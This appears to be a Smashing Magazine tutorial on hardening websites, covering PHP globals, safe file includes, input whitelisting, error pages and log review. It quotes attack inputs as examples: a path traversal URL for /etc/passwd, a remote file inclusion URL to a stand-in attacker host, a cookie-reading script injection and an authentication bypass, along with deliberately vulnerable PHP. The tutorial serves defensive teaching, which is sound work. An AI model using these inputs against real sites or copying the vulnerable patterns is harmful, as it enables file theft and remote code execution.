Basic Ways To Increase Web Security
Now that you know a bit about what can be done to your website by the bad guys, here are some ways to fight them off.
Keep Code Up to Date
There is no better protection than keeping your code up to date. Outdated versions of WordPress, old installs of PHP and MySQL, even old browsers, all of these are security issues because most updates to software these days are security patches. It is a rat race between those who want the Web to work and those who want to abuse it to make a quick buck or to steal your identity. So please help the good guys by upgrading whenever a new version is out.
Don’t Stay Logged In, and Don’t Entice Others to Either
Staying logged in while not using a system is dangerous. Other websites you surf to can check that you are logged in and then clickjack you to make you do something you don’t mean to or aren’t aware of. This is especially dangerous with social media because everything you do will be sent to all your friends and probably replicated by them. It is a snowball effect.
In my perfect world, no form has a “Keep me logged in” option, which of course would be a nuisance to end users. I would love to see a clever, usable solution to this problem. I use a Flex client for Twitter, not a browser, which means I am not vulnerable even on websites with clickjacking and cross-site request forgery (the latter only if people do not abuse the API to phish my followers; see the presentations at the end of this article for a demo of that).
Use Clever Passwords, and Entice Users to Do the Same
Even on bullet-proof systems, one attack vector is users whose passwords are very easy to guess. I change my passwords every few weeks, and I take inspiration from a book I am reading or a movie I have just seen. I also replace some characters and with numbers to make dictionary attacks harder.
There are two ways to crack a password (other than social engineering, which is making you tell me your password by tricking you or phishing): brute force and dictionary attacks. Brute force entails writing a loop that tries all of the different options (much like playing hangman), which can take ages and uses a lot of computing power. Dictionary attacks use a dictionary database to attempt common words instead of going letter by letter.
Say I am reading a Sherlock Holmes book or have just seen the new screen adaptation, my password could be Sh3rl0ckW4t50n or b4sk3rv!ll3. That may be a bit hardcore for most people but is generally a good idea. Another strategy is to take a sentence that you can memorize easily and string together the initial letters. For example, “I like to buy food for my dog and to walk with it” would be Il2bffmda2wwi or even Il2bffmd&2wwi.
So, if you build a new Web product that needs authentication, and you really need to build your own log-in system rather than use Google, Yahoo, Facebook Connect or OpenID (which might be a good idea), please do not allow users to use passwords like “password” or the not-much-safer “password1.” Recently, a list of passwords banned by Twitter leaked onto the Web, shown here as the full code. This is a good idea (the list, that is, not the leak).
What To Do On Your Server
Even if you are not a server expert, that’s no excuse for running an insecure server. Here are some things to make sure of.
Turn Off Folder Listing
As explained earlier, allowing people to navigate your folders (i.e. path traversal) is a bad idea. Testing whether your server has path traversal turned on is easy:
- Create a new folder on the server; for example, pathtest.
- Add some files to the folder. But do not add index.html, index.php, default.aspx or whatever else your server uses as the default file name.
- Check the folder in your browser; for example, by going to
http://example.com/pathtest/
- If you can see a listing, contact your server admin to turn that off!
Harden Your PHP
If you have a server with PHP, be aware that you are in control of a powerful tool. The worst oversight someone could make is to allow any parameter that comes in from the URI to become a global variable. This is turned off by default on PHP installs in version 4.2.0 and onward, but your configuration may have changed. In fact, some tutorials recommend that you turn it on for a script to work: this is a very, very bad idea.
You can easily test if globals are enabled:
- Create a new file named test.php.
- Add the following code to it:
1 |
<?php echo "*".$ouch.'*';?> |
- Upload the file to your server.
- Browse to the file, and send a parameter called ouch; for example:
http://example.com/test.php?ouch=that+hurts
- If your browser shows “*that hurts*”, then your server has globals registered.
- Contact your server admin to get this fixed!
Why is this important? Well, in our explanation of XSS earlier, we talked about attackers being able to add code to your page using the URI parameters in your script. If you don’t turn off globals, any variable you use and write out could become an attack. Even worse, consider the following code:
1 |
if($_POST['username'] == 'muppet' && |
2 |
$_POST['password'] == 'password1') { |
6 |
// do something only admins are allowed to do |
If this is checkuser.php and global registering is on, then an attacker could call this in the browser as http://example.com/checkuser.php?authenticated=true and could work around the whole user checking; his authentication as $_GET['authenticated'] automatically turns into $authenticated.
Turn Off Error Messages
A lot of servers are set up to show you error messages when the browser encounters a problem. These messages often look cryptic, but they are a great source of information for attackers.
Creating an error and seeing what the server spits out is one of the first steps in checking the folder structure of a server. Funnily enough, error pages stating “File XYZ could not be found” were one of the first XSS attack opportunities, because you could look for a file named <script>alert(document.cookie),</script>.
Automatically Checking PHP for Security Issues
Uploading PHPSecInfo to a folder is a pretty handy way to perform a quick audit of your PHP server’s security. Opening it in your browser gives you a detailed checklist of common security flaws and how they should be fixed.
But never leave this on a live server because it gives attackers a lot of details about your set-up!

PHPSecInfo gives you detailed security information about your PHP setup.
What To Do To Your Code
Because you likely do not have much to do with your server let’s focus on things you do have full control of.
HTML
HTML is pretty safe. It is simply converted into text—no interaction with the server or calculations—so not much can go wrong. That said, you should always use HTML for what it’s for:
- HTML structures your content.
HTML is not a database to store information. The reason it is not is because you cannot rely on HTML content to stay unchanged. Anyone could use browser debugging tools to mess around with your HTML and change the content. So you run into security issues with JavaScript solutions that rely on data in the HTML and don’t check the server for what that data is allowed to be.
- HTML is fully visible.
Don’t use comments in the HTML to store sensitive information, and don’t comment out sections of a page that are not ready yet but that point to parts of an application that are in progress.
- Hiding things doesn’t make them go away.
Even if you hide information with CSS or JavaScript, some people can get it anyway. HTML is not there to give your application functionality; that should always happen on the server.
A wonderful example of insecure HTML was the drop-down menu on the website of a certain airline. This menu let you define the seating class you wanted to fly in as the last step before printing your voucher. The website rendered the HTML of the drop-down menu and commented out the sections that were not available for the price you had selected:
2 |
<option value="ec">Economy</option> |
3 |
<option value="ecp">Economy Plus</option> |
5 |
<option value="bu">Business</option> |
6 |
<option value="fi">First</option> |
The server-side code did not check to see whether you were eligible for a first-class ticket; it simply relied on the option not being available. The form was then sent via JavaScript. So, all you had to do to get a first-class ticket for the price of an economy seat was use FireBug to add a new option to the form, select the value you wanted and send it off.
CSS
CSS is not really capable of doing much to the document and cannot access the server… for now. One problem with CSS is background images that point to URIs. You can inject code by somehow overriding these. The same applies to the @import property for other style sheets.
Using expression() in Internet Explorer to make calculations (or, as in most cases, to simulate what other browsers can already do) is dangerous, though, because what you are doing in essence is executing JavaScript inside a CSS block. So, don’t use it.
CSS changing a lot now, and we are giving it more power than ever before. Generating content with CSS, animation, calculations and font embedding all sound absolutely cool, but I get a prickly feeling in the back of my neck when I look at it right now.
Attack vectors have two features: they have the power to change the content of a document, and they are technologies that are not proven and are changing constantly. This is what CSS 3 is right now. Font-embedding in particular could become a big security issue, because fonts are binary data that could contain anything: harmless characters as well as viruses masquerading as a nice charset. It will be interesting to see how this develops.
JavaScript
JavaScript makes the Web what it is today. You can use it to build interfaces that are fun to use and that allow visitors to reach their goals fast and conveniently. You can and should use JavaScript for the following:
- Create slicker interfaces (e.g. auto-complete, asynchronous uploading).
- Warn users about flawed entries (password strength, for instance).
- Extend the interface options of HTML to become an application language (sliders, maps, combo boxes, etc.)
- Create visual effects that cannot be done safely with CSS (animation, menus, etc.)
JavaScript is very powerful, though, which also means that it is a security issue:
- JavaScript gives you full access to the document and allows you to post data to the Internet.
- You can read cookies and send them elsewhere.
- JavaScript is also fully readable by anyone using a browser.
- Any JavaScript on the page has the same rights as the others, regardless of where it came from. If you can inject a script via XSS, it can do and access whatever the other scripts can.
This means you should not try to do any of the following in JavaScript:
- Store sensitive information (e.g. credit card numbers, any real user data).
- Store cookies containing session data.
- Try to protect content (e.g. right-click scripts, email obfuscation).
- Replace your server or save on server traffic without a fallback.
- Rely on JavaScript as the only means of validation. Attackers can turn off JavaScript and get full access to your system.
- Trust any JavaScript that does not come from your server or a similar trusted source.
- Trust anything that comes from the URI, HTML or form fields. All of these can be manipulated by attackers after the page has loaded. If you use
document.write() on unfiltered data, you expose yourself to XSS attacks.
In other words, AJAX is fun, but do not rely on its security. Whatever you do in JavaScript can be monitored and logged by an end user with the right tools.
PHP (or Any Server-Side Language)
Here be dragons! The server-side language is where you can really mess up if you don’t know what you’re doing. The biggest problems are trusting information from the URI or user entry and printing it out in the page. As shown earlier in the XSS example with the colors, you will be making it easy to inject malicious code into your page.
There are two ways to deal with this: whitelisting and proper filtering.
Whitelisting is the most effective way to make sure nothing insecure gets written out. The trick is easy: don’t use information that gets sent through as the output; rather, just use it in conditions or as lookups.
Let’s say you want to add a file on demand to a page. You currently have these sections on the page: About Us, Contact, Clients, Portfolio, Home, Partners. You could store the data of these in about-us.php, contact.php, clients.php, portfolio.php, index.php and partners.php.
The amazingly bad way to do this is probably the way you see done in many tutorials: a file called something like template.php, which takes a page parameter with the file name.
The template then normally contains something like this:
1 |
<?php include($_GET['page']);?> |
If you call http://example.com/template.php?page=about-us.php, this would load the “About Us” document and include it in the template where the code is located.
It would also allow someone to check out all of the other interesting things on your server. For example, http://example.com/template.php?page=../../../../../../../../etc/passwd%00 or the like would allow an attacker to read your passwd file.
If your server allows for remote files with include(), you could also inject a file from another server, like http://example.com/template.php?page=http://evilsite.net/exploitcode/2.txt?. Remember, these text files will be executed as PHP inside your other PHP file and thus have access to everything. A lot of them contain mass-mailers or check your system for free space and upload options to store data.
In short: never, ever allow an unfiltered URI parameter to become part of a URI that you load in PHP or print out as an href or src in the HTML. Instead, use pointers:
03 |
'about'=>'about-us.php', |
04 |
'contact'=>'contact.php', |
05 |
'clients'=>'clients.php', |
06 |
'portfolio'=>'portfolio.php', |
08 |
'partners'=>'partners.php' |
10 |
if( isset($_GET['page']) && |
11 |
isset($sites[$_GET['page']]) && |
12 |
file_exists($sites[$_GET['page']]) ){ |
13 |
include($sites[$_GET['page']]); |
15 |
echo 'This page does not exist on this system.'; |
This way, the parameters become not a file name but a word. So, http://example.com/template.php?page=about would include about-us.php, http://example.com/template.php?page=home would include index.php and so on. All other requests would trigger the error message. Note that the error message is in our control and not from the server; or else you might display information that could be used for an exploit.
Also, notice how defensive the script is. It checks if a page parameter has been sent; then it checks if an entry for this value exists in the sites array; then it checks if the file exist; and then, and only then, it includes it. Good code does that… which also means it can be a bit bigger than expected. That’s not exactly “Build your own PHP templating system in 20 lines of code!” But it’s much better for the Web as a whole.
Generally, defining all of the variables you will use before you use them is a good idea. This makes it safer even in PHP set-ups that have globals registered. The following cannot be cracked by calling the script with an authenticated parameter:
1 |
$authenticated = false; |
2 |
if($_POST['username'] == 'muppet' && |
3 |
$_POST['password'] == 'password1') { |
7 |
// do something only admins are allowed to do |
The demo we showed earlier makes it possible to work around this, because $authenticated was not pre-set anywhere.
Writing your own validator function is another option. For example, the color demo could be made secure by allowing only single words and numbers for the colors.
02 |
$background = 'black'; |
03 |
if(isset($_GET['color']) && isvalid($_GET['color'])){ |
04 |
$color = $_GET['color']; |
05 |
if(ishexcolor($color)){ |
09 |
if(isset($_GET['background']) && isvalid($_GET['background'])){ |
10 |
$background = $_GET['background']; |
11 |
if(ishexcolor($background)){ |
12 |
$background = '#'.$background; |
15 |
function isvalid($col){ |
16 |
// only allow for values that contain a to z or 0 to 9 |
17 |
return preg_match('/^[a-z0-9]+$/',$col); |
19 |
function ishexcolor($col){ |
20 |
// checks if the string is 3 or 6 characters |
21 |
if(strlen($col)==3 || strlen($col)==6){ |
22 |
// checks if the string only contains a to f or 0 to 9 |
23 |
return preg_match('/^[a-f0-9]+$/',$col); |
This allows for http://example.com/test.php?color=red&background=pink or http://example.com/test.php?color=369&background=69c or http://example.com/test.php?color=fc6&background=449933, but not for http://example.com/test.php?color=333&background=</style>. This keeps it flexible for the end user but still safe to use.
If you are dealing with content that cannot be easily whitelisted, then you’ll need to filter out all the malicious code that someone could inject. This is quite the rat-race because new browser quirks are being found all the time that allow an attacker to execute code.
The most basic way to deal with this is to use the native PHP filters on anything that comes in. But a quite sophisticated package called HTML Purifier is also available.
Housekeeping
One very important part of security is keeping your server clean. If you have old, insecure code lying around, it won’t matter whether your main website is hardened and up to date with the best security measures. Your server is as vulnerable as its weakest and least-maintained code.
Check what you have on your server from time to time, and delete or move things that you are not interested in any more or couldn’t be bothered to maintain. Instead of deleting code, you could move it to a repository such as Google Code or GitHub and redirect the old folder to it.
It is also not a good idea to use the same server to test things and run a live product. Use one server as a test platform for playing around and another for grown-up stuff. It is especially important to have a different domain for each to protect your cookies.
Check Your Log Files
Every server comes with log files that you can access. Many hosting companies even give you detailed statistics that show you where visitors have gone and what they did.
Normally, we just use these to check the number of visitors, what browsers they used, where they came from, when they came and which websites were most successful. This is what makes us happy and allows us to track our progress.
That is not really the interesting part of the statistics package or log files, though:
- Check how many forms have been sent and who tried to send them. This is an indicator of CSRF and XSS attacks.
- Check the server traffic and which files were frequently called. If the forms are old and not frequently used, you have a CSRF attack on your hands.
- Search the logs for “txt?” endings, which are an indicator of RFI attacks. Try them out on your website; if they work, alarm bells should go off in your head. An exception to this is robots.txt, which is a file that search engines request before reading a folder; this is not an issue and wouldn’t be followed by a question mark anyway.
- Check the error messages and how many of them were 404 errors (”Page not found”). Check what file names people were looking for, which folders they attempted to access and what files they tried to read.
- Check which users tried to authenticate. If a user you don’t know was causing a lot of traffic, they already got control of your server.
Your log file is your snitch that tells on the bad guys who come around trying to mess with your server. Be wise and stay a step ahead of them.
Want To Know More?
If you want to know more about the subject, here are some presentations and resources. Please add more in the comments if you know of good ones.
(al)
Source: http://www.smashingmagazine.com
Comments
No comments yet.
Leave a comment